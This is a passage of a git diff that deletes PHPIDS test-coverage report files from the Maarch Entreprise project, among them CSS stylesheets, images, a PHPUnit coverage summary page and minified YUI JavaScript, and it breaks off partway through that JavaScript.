background:url(close12_1.gif) no-repeat; - cursor:pointer; - visibility:inherit; -} - -.yui-panel .ft { - padding:4px; - overflow:hidden; -} - -.yui-simple-dialog .bd .yui-icon { - background-repeat:no-repeat; - width:16px; - height:16px; - margin-right:10px; - float:left; -} - -.yui-simple-dialog .bd span.blckicon { - background: url("blck16_1.gif") no-repeat; -} - -.yui-simple-dialog .bd span.alrticon { - background: url("alrt16_1.gif") no-repeat; -} - -.yui-simple-dialog .bd span.hlpicon { - background: url("hlp16_1.gif") no-repeat; -} - -.yui-simple-dialog .bd span.infoicon { - background: url("info16_1.gif") no-repeat; -} - -.yui-simple-dialog .bd span.warnicon { - background: url("warn16_1.gif") no-repeat; -} - -.yui-simple-dialog .bd span.tipicon { - background: url("tip16_1.gif") no-repeat; -} - -.yui-dialog .ft, -.yui-simple-dialog .ft { - padding-bottom:5px; - padding-right:5px; - text-align:right; -} - -.yui-dialog form, -.yui-simple-dialog form { - margin:0; -} - -.button-group button { - font:100 76% verdana; - text-decoration:none; - background-color: #E4E4E4; - color: #333; - cursor: hand; - vertical-align: middle; - border: 2px solid #797979; - border-top-color:#FFF; - border-left-color:#FFF; - margin:2px; - padding:2px; -} - -.button-group button.default { - font-weight:bold; -} - -.button-group button:hover, -.button-group button.hover { - border:2px solid #90A029; - background-color:#EBF09E; - border-top-color:#FFF; - border-left-color:#FFF; -} - -.button-group button:active { - border:2px solid #E4E4E4; - background-color:#BBB; - border-top-color:#333; - border-left-color:#333; -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/glass.png b/apps/maarch_entreprise/tools/phpids/tests/coverage/glass.png deleted file mode 100755 index e1abc00680a3093c49fdb775ae6bdb6764c95af2..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/tests/coverage/glass.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/index.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/index.html deleted file mode 100755 index ff8b817d020b0df3215af01e8d7327c83175ea24..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/index.html +++ /dev/null @@ -1,353 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - </head> - - <body> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current directory:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="coverLegendLo"> - <b>Low:</b> 0% to 35% - </span> - <span class="coverLegendMed"> - <b>Medium:</b> 35% to 70% - </span> - <span class="coverLegendHi"> - <b>High:</b> 70% to 100% - </span> - </td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">10 / 10</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="96" height="10" alt="96.70 %"><img src="snow.png" width="4" height="10" alt="96.70%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">96.70%</td> - <td class="coverNumHi">88 / 91</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="87" height="10" alt="87.63 %"><img src="snow.png" width="13" height="10" alt="87.63%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">87.63%</td> - <td class="coverNumHi">758 / 865</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverDirectory"><a href="Caching.html">Caching</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">10 / 10</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="87" height="10" alt="87.50 %"><img src="snow.png" width="13" height="10" alt="87.50%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">87.50%</td> - <td class="coverNumHi">63 / 72</td> - </tr> - - <tr> - <td class="coverDirectory"><a href="Filter.html">Filter</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.96 %"><img src="snow.png" width="16" height="10" alt="84.96%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.96%</td> - <td class="coverNumHi">113 / 133</td> - </tr> - - <tr> - <td class="coverFile"><a href="Converter.php.html">Converter.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">18 / 18</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="85" height="10" alt="85.57 %"><img src="snow.png" width="15" height="10" alt="85.57%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">85.57%</td> - <td class="coverNumHi">249 / 291</td> - </tr> - - <tr> - <td class="coverFile"><a href="Event.php.html">Event.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">8 / 8</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">36 / 36</td> - </tr> - - <tr> - <td class="coverFile"><a href="Filter.php.html">Filter.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">18 / 18</td> - </tr> - - <tr> - <td class="coverFile"><a href="Init.php.html">Init.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">9 / 9</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">42 / 42</td> - </tr> - - <tr> - <td class="coverFile"><a href="Monitor.php.html">Monitor.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.21 %"><img src="snow.png" width="16" height="10" alt="84.21%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.21%</td> - <td class="coverNumHi">16 / 19</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="87" height="10" alt="87.11 %"><img src="snow.png" width="13" height="10" alt="87.11%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">87.11%</td> - <td class="coverNumHi">169 / 194</td> - </tr> - - <tr> - <td class="coverFile"><a href="Report.php.html">Report.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">13 / 13</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="86" height="10" alt="86.08 %"><img src="snow.png" width="14" height="10" alt="86.08%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">86.08%</td> - <td class="coverNumHi">68 / 79</td> - </tr> - - - </table> - </center> - - <br /> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br/> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/scarlet_red.png b/apps/maarch_entreprise/tools/phpids/tests/coverage/scarlet_red.png deleted file mode 100755 index a879424d5a211cb33221e66174277791f59013eb..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/tests/coverage/scarlet_red.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/snow.png b/apps/maarch_entreprise/tools/phpids/tests/coverage/snow.png deleted file mode 100755 index 2cdae107fceec6e7f02ac7acb4a34a82a540caa5..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/tests/coverage/snow.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/style.css b/apps/maarch_entreprise/tools/phpids/tests/coverage/style.css deleted file mode 100755 index 69ada880430373a9cd1971a5bb441370120f4f2d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/style.css +++ /dev/null @@ -1,428 +0,0 @@ -/* All views: initial background and text color */ -body -{ - background-color: #fff; - color: #2e3436; - font-family: arial, helvetica, sans-serif; - font-size: 12px; - margin: 0 auto; - width: 100%; -} - -/* All views: standard link format*/ -a:link -{ - color: #2e3436; - text-decoration: underline; -} - -/* All views: standard link - visited format */ -a:visited -{ - color: #2e3436; - text-decoration: underline; -} - -/* All views: standard link - activated format */ -a:active -{ - color: #2e3436; - text-decoration: underline; -} - -/* All views: main title format */ -td.title -{ - text-align: center; - padding: 10px; - font-family: sans-serif; - font-style: italic; - font-weight: bold; - font-size: 1.6em; -} - -/* All views: header item format */ -td.headerItem -{ - text-align: right; - padding-right: 6px; - font-family: sans-serif; - font-weight: bold; -} - -/* All views: header item value format */ -td.headerValue -{ - text-align: left; - font-family: sans-serif; - font-weight: bold; -} - -/* All views: header legend item format */ -td.legendItem -{ - text-align: right; - padding-right: 6px; - padding-top: 10px; - padding-bottom: 2px; - font-family: sans-serif; - font-weight: bold; -} - -/* All views: header legend item value format */ -td.legendValue -{ - text-align: left; - padding-top: 10px; - padding-bottom: 2px; - color: #2e3436; - font-family: sans-serif; - font-weight: bold; -} - -/* All views: color of horizontal ruler */ -td.ruler -{ - background-color: #d3d7cf; -} - -/* All views: version string format */ -td.versionInfo -{ - text-align: center; - padding-top: 2px; - font-family: sans-serif; - font-style: italic; -} - -/* Directory view/File view (all)/Test case descriptions: -table headline format */ -td.tableHead -{ - text-align: center; - color: #ffffff; - background-color: #555753; - font-family: sans-serif; - font-weight: bold; -} - -/* Directory view/File view (all): filename entry format */ -td.coverItem, td.coverDirectory, td.coverFile -{ - text-align: left; - padding-left: 10px; - padding-right: 20px; - background-color: #d3d7cf; - font-family: monospace; -} - -td.coverDirectory -{ - font-weight: bold; -} - -/* Directory view/File view (all): bar-graph entry format*/ -td.coverBar -{ - padding-left: 10px; - padding-right: 10px; - background-color: #d3d7cf; -} - -/* Directory view/File view (all): bar-graph outline color */ -td.coverBarOutline -{ - background-color: #2e3436; -} - -/* Directory view/File view (all): percentage entry for files with -high coverage rate */ -td.coverPerHi -{ - text-align: right; - padding-left: 10px; - padding-right: 10px; - background-color: #8ae234; - font-weight: bold; -} - -/* Directory view/File view (all): line count entry for files with -high coverage rate */ -td.coverNumHi -{ - text-align: right; - padding-left: 10px; - padding-right: 10px; - background-color: #8ae234; - white-space: nowrap; -} - -/* Directory view/File view (all): legend entry for high coverage -rate */ -span.coverLegendHi -{ - text-align: center; - padding-left: 10px; - padding-right: 10px; - background-color: #8ae234; -} - -/* Directory view/File view (all): percentage entry for files with -medium coverage rate */ -td.coverPerMed -{ - text-align: right; - padding-left: 10px; - padding-right: 10px; - background-color: #fce94f; - font-weight: bold; -} - -/* Directory view/File view (all): line count entry for files with -medium coverage rate */ -td.coverNumMed -{ - text-align: right; - padding-left: 10px; - padding-right: 10px; - background-color: #fce94f; - white-space: nowrap; -} - -/* Directory view/File view (all): legend entry for medium coverage -rate */ -span.coverLegendMed -{ - text-align: center; - padding-left: 10px; - padding-right: 10px; - margin-top: 5px; - margin-bottom: 5px; - margin-right: 2px; - background-color: #fce94f; -} - -/* Directory view/File view (all): percentage entry for files with -low coverage rate */ -td.coverPerLo -{ - text-align: right; - padding-left: 10px; - padding-right: 10px; - background-color: #f57900; - font-weight: bold; -} - -/* Directory view/File view (all): line count entry for files with -low coverage rate */ -td.coverNumLo -{ - text-align: right; - padding-left: 10px; - padding-right: 10px; - background-color: #f57900; - white-space: nowrap; -} - -/* Directory view/File view (all): legend entry for low coverage -rate */ -span.coverLegendLo -{ - text-align: center; - padding-left: 10px; - padding-right: 10px; - margin-right: 2px; - background-color: #f57900; -} - -/* File view (all): "show/hide details" link format */ -a.detail:link -{ - color: #ffffff; -} - -/* File view (all): "show/hide details" link - visited format */ -a.detail:visited -{ - color: #ffffff; -} - -/* File view (all): "show/hide details" link - activated format */ -a.detail:active -{ - color: #ffffff; -} - -/* File view (detail): test name table headline format */ -td.testNameHead -{ - text-align: left; - padding-left: 10px; - background-color: #729fcf; - font-family: sans-serif; - font-weight: bold; -} - -/* File view (detail): test lines table headline format */ -td.testLinesHead -{ - text-align: center; - background-color: #729fcf; - font-family: sans-serif; - font-weight: bold; -} - -/* File view (detail): test name entry */ -td.testName -{ - text-align: left; - padding-left: 10px; - background-color: #729fcf; -} - -/* File view (detail): test percentage entry */ -td.testPer -{ - text-align: right; - vertical-align: top; - padding-left: 10px; - padding-right: 10px; - background-color: #729fcf; -} - -/* File view (detail): test lines count entry */ -td.testNum -{ - text-align: right; - vertical-align: top; - padding-left: 10px; - padding-right: 10px; - background-color: #729fcf; - white-space: nowrap; -} - -/* Test case descriptions: test name format*/ -dt -{ - font-family: sans-serif; - font-weight: bold; -} - -/* Test case descriptions: description table body */ -td.testDescription -{ - padding-top: 10px; - padding-left: 30px; - padding-bottom: 10px; - padding-right: 30px; - background-color: #729fcf; -} - -/* Source code view: source code format */ -pre.source -{ - font-family: monospace; - white-space: pre; -} - -/* Source code view: line number format */ -span.lineNum -{ - background-color: #d3d7cf; -} - -span.lineNum a { - text-decoration: none; -} - -/* Source code view: format for lines which were executed */ -span.lineCov -{ - background-color: #8ae234; -} - -/* Source code view: format for Cov legend */ -span.LegendCov -{ - text-align: center; - padding-left: 10px; - padding-right: 10px; - margin-right: 2px; - background-color: #8ae234; -} - -/* Source code view: format for lines which were not executed */ -span.lineNoCov -{ - background-color: #f57900; -} - -/* Source code view: format for NoCov legend */ -span.LegendNoCov -{ - text-align: center; - padding-left: 10px; - padding-right: 10px; - margin-right: 2px; - background-color: #f57900; -} - -/* Source code view: format for lines which are dead code */ -span.lineDeadCode -{ - background-color: #d3d7cf; -} - -/* Source code view: format for NoCov legend */ -span.LegendDeadCode -{ - text-align: center; - padding-left: 10px; - padding-right: 10px; - margin-right: 2px; - background-color: #d3d7cf; -} - -/* Test view: format for tests which have passed */ -li.testPassed -{ -} - -/* Test view: format for tests which failed */ -li.testFailure -{ - background-color: #f57900; -} - -/* Test view: format for tests which failed with an error */ -li.testError -{ - background-color: #f57900; -} - -/* Test view: format for incomplete and skipped tests */ -li.testIncomplete -{ - background-color: #fcaf3e; -} - -pre span.comment { - color: #888a85; -} - -pre span.default { - color: #2e3436; -} - -pre span.html { - color: #888a85; -} - -pre span.keyword { - color: #2e3436; - font-weight: bold; -} - -pre span.string { - color: #2e3436; -} diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/yahoo-dom-event.js b/apps/maarch_entreprise/tools/phpids/tests/coverage/yahoo-dom-event.js deleted file mode 100755 index 7b667e0c37d9555f152c52dd7e9675694d36d32c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/yahoo-dom-event.js +++ /dev/null @@ -1,12 +0,0 @@ -/* -Copyright (c) 2008, Yahoo! Inc. All rights reserved. -Code licensed under the BSD License: -http://developer.yahoo.net/yui/license.txt -version: 2.5.2 -*/ -if(typeof YAHOO=="undefined"||!YAHOO){var YAHOO={};}YAHOO.namespace=function(){var A=arguments,E=null,C,B,D;for(C=0;C<A.length;C=C+1){D=A[C].split(".");E=YAHOO;for(B=(D[0]=="YAHOO")?1:0;B<D.length;B=B+1){E[D[B]]=E[D[B]]||{};E=E[D[B]];}}return E;};YAHOO.log=function(D,A,C){var B=YAHOO.widget.Logger;if(B&&B.log){return B.log(D,A,C);}else{return false;}};YAHOO.register=function(A,E,D){var I=YAHOO.env.modules;if(!I[A]){I[A]={versions:[],builds:[]};}var B=I[A],H=D.version,G=D.build,F=YAHOO.env.listeners;B.name=A;B.version=H;B.build=G;B.versions.push(H);B.builds.push(G);B.mainClass=E;for(var C=0;C<F.length;C=C+1){F[C](B);}if(E){E.VERSION=H;E.BUILD=G;}else{YAHOO.log("mainClass is undefined for module "+A,"warn");}};YAHOO.env=YAHOO.env||{modules:[],listeners:[]};YAHOO.env.getVersion=function(A){return YAHOO.env.modules[A]||null;};YAHOO.env.ua=function(){var C={ie:0,opera:0,gecko:0,webkit:0,mobile:null,air:0};var B=navigator.userAgent,A;if((/KHTML/).test(B)){C.webkit=1;}A=B.match(/AppleWebKit\/([^\s]*)/);if(A&&A[1]){C.webkit=parseFloat(A[1]);if(/ Mobile\//.test(B)){C.mobile="Apple";}else{A=B.match(/NokiaN[^\/]*/);if(A){C.mobile=A[0];}}A=B.match(/AdobeAIR\/([^\s]*)/);if(A){C.air=A[0];}}if(!C.webkit){A=B.match(/Opera[\s\/]([^\s]*)/);if(A&&A[1]){C.opera=parseFloat(A[1]);A=B.match(/Opera Mini[^;]*/);if(A){C.mobile=A[0];}}else{A=B.match(/MSIE\s([^;]*)/);if(A&&A[1]){C.ie=parseFloat(A[1]);}else{A=B.match(/Gecko\/([^\s]*)/);if(A){C.gecko=1;A=B.match(/rv:([^\s\)]*)/);if(A&&A[1]){C.gecko=parseFloat(A[1]);}}}}}return C;}();(function(){YAHOO.namespace("util","widget","example");if("undefined"!==typeof YAHOO_config){var B=YAHOO_config.listener,A=YAHOO.env.listeners,D=true,C;if(B){for(C=0;C<A.length;C=C+1){if(A[C]==B){D=false;break;}}if(D){A.push(B);}}}})();YAHOO.lang=YAHOO.lang||{};(function(){var A=YAHOO.lang,C=["toString","valueOf"],B={isArray:function(D){if(D){return A.isNumber(D.length)&&A.isFunction(D.splice);}return false;},isBoolean:function(D){return typeof D==="boolean";},isFunction:function(D){return typeof D==="function";},isNull:function(D){return D===null;},isNumber:function(D){return typeof D==="number"&&isFinite(D);},isObject:function(D){return(D&&(typeof D==="object"||A.isFunction(D)))||false;},isString:function(D){return typeof D==="string";},isUndefined:function(D){return typeof D==="undefined";},_IEEnumFix:(YAHOO.env.ua.ie)?function(F,E){for(var D=0;D<C.length;D=D+1){var H=C[D],G=E[H];if(A.isFunction(G)&&G!=Object.prototype[H]){F[H]=G;}}}:function(){},extend:function(H,I,G){if(!I||!H){throw new Error("extend failed, please check that "+"all dependencies are included.");}var E=function(){};E.prototype=I.prototype;H.prototype=new E();H.prototype.constructor=H;H.superclass=I.prototype;if(I.prototype.constructor==Object.prototype.constructor){I.prototype.constructor=I;}if(G){for(var D in G){if(A.hasOwnProperty(G,D)){H.prototype[D]=G[D];}}A._IEEnumFix(H.prototype,G);}},augmentObject:function(H,G){if(!G||!H){throw new Error("Absorb failed, verify dependencies.");}var D=arguments,F,I,E=D[2];if(E&&E!==true){for(F=2;F<D.length;F=F+1){H[D[F]]=G[D[F]];}}else{for(I in G){if(E||!(I in H)){H[I]=G[I];}}A._IEEnumFix(H,G);}},augmentProto:function(G,F){if(!F||!G){throw new Error("Augment failed, verify dependencies.");}var D=[G.prototype,F.prototype];for(var E=2;E<arguments.length;E=E+1){D.push(arguments[E]);}A.augmentObject.apply(this,D);},dump:function(D,I){var F,H,K=[],L="{...}",E="f(){...}",J=", ",G=" => ";if(!A.isObject(D)){return D+"";}else{if(D instanceof Date||("nodeType" in D&&"tagName" in D)){return D;}else{if(A.isFunction(D)){return E;}}}I=(A.isNumber(I))?I:3;if(A.isArray(D)){K.push("[");for(F=0,H=D.length;F<H;F=F+1){if(A.isObject(D[F])){K.push((I>0)?A.dump(D[F],I-1):L);}else{K.push(D[F]);}K.push(J);}if(K.length>1){K.pop();}K.push("]");}else{K.push("{");for(F in D){if(A.hasOwnProperty(D,F)){K.push(F+G);if(A.isObject(D[F])){K.push((I>0)?A.dump(D[F],I-1):L);}else{K.push(D[F]);}K.push(J);}}if(K.length>1){K.pop();}K.push("}");}return K.join("");},substitute:function(S,E,L){var I,H,G,O,P,R,N=[],F,J="dump",M=" ",D="{",Q="}";for(;;){I=S.lastIndexOf(D);if(I<0){break;}H=S.indexOf(Q,I);if(I+1>=H){break;}F=S.substring(I+1,H);O=F;R=null;G=O.indexOf(M);if(G>-1){R=O.substring(G+1);O=O.substring(0,G);}P=E[O];if(L){P=L(O,P,R);}if(A.isObject(P)){if(A.isArray(P)){P=A.dump(P,parseInt(R,10));}else{R=R||"";var K=R.indexOf(J);if(K>-1){R=R.substring(4);}if(P.toString===Object.prototype.toString||K>-1){P=A.dump(P,parseInt(R,10));}else{P=P.toString();}}}else{if(!A.isString(P)&&!A.isNumber(P)){P="~-"+N.length+"-~";N[N.length]=F;}}S=S.substring(0,I)+P+S.substring(H+1);}for(I=N.length-1;I>=0;I=I-1){S=S.replace(new RegExp("~-"+I+"-~"),"{"+N[I]+"}","g");}return S;},trim:function(D){try{return D.replace(/^\s+|\s+$/g,"");}catch(E){return D;}},merge:function(){var G={},E=arguments;for(var F=0,D=E.length;F<D;F=F+1){A.augmentObject(G,E[F],true);}return G;},later:function(K,E,L,G,H){K=K||0;E=E||{};var F=L,J=G,I,D;if(A.isString(L)){F=E[L];}if(!F){throw new TypeError("method undefined");}if(!A.isArray(J)){J=[G];}I=function(){F.apply(E,J);};D=(H)?setInterval(I,K):setTimeout(I,K);return{interval:H,cancel:function(){if(this.interval){clearInterval(D);}else{clearTimeout(D);}}};},isValue:function(D){return(A.isObject(D)||A.isString(D)||A.isNumber(D)||A.isBoolean(D));}};A.hasOwnProperty=(Object.prototype.hasOwnProperty)?function(D,E){return D&&D.hasOwnProperty(E);}:function(D,E){return !A.isUndefined(D[E])&&D.constructor.prototype[E]!==D[E];};B.augmentObject(A,B,true);YAHOO.util.Lang=A;A.augment=A.augmentProto;YAHOO.augment=A.augmentProto;YAHOO.extend=A.extend;})();YAHOO.register("yahoo",YAHOO,{version:"2.5.2",build:"1076"});(function(){var B=YAHOO.util,K,I,J={},F={},M=window.document;YAHOO.env._id_counter=YAHOO.env._id_counter||0;var C=YAHOO.env.ua.opera,L=YAHOO.env.ua.webkit,A=YAHOO.env.ua.gecko,G=YAHOO.env.ua.ie;var E={HYPHEN:/(-[a-z])/i,ROOT_TAG:/^body|html$/i,OP_SCROLL:/^(?:inline|table-row)$/i};var N=function(P){if(!E.HYPHEN.test(P)){return P;}if(J[P]){return J[P];}var Q=P;while(E.HYPHEN.exec(Q)){Q=Q.replace(RegExp.$1,RegExp.$1.substr(1).toUpperCase());}J[P]=Q;return Q;};var O=function(Q){var P=F[Q];if(!P){P=new RegExp("(?:^|\\s+)"+Q+"(?:\\s+|$)");F[Q]=P;}return P;};if(M.defaultView&&M.defaultView.getComputedStyle){K=function(P,S){var R=null;if(S=="float"){S="cssFloat";}var Q=P.ownerDocument.defaultView.getComputedStyle(P,"");if(Q){R=Q[N(S)];}return P.style[S]||R;};}else{if(M.documentElement.currentStyle&&G){K=function(P,R){switch(N(R)){case"opacity":var T=100;try{T=P.filters["DXImageTransform.Microsoft.Alpha"].opacity;}catch(S){try{T=P.filters("alpha").opacity;}catch(S){}}return T/100;case"float":R="styleFloat";default:var Q=P.currentStyle?P.currentStyle[R]:null;return(P.style[R]||Q);}};}else{K=function(P,Q){return 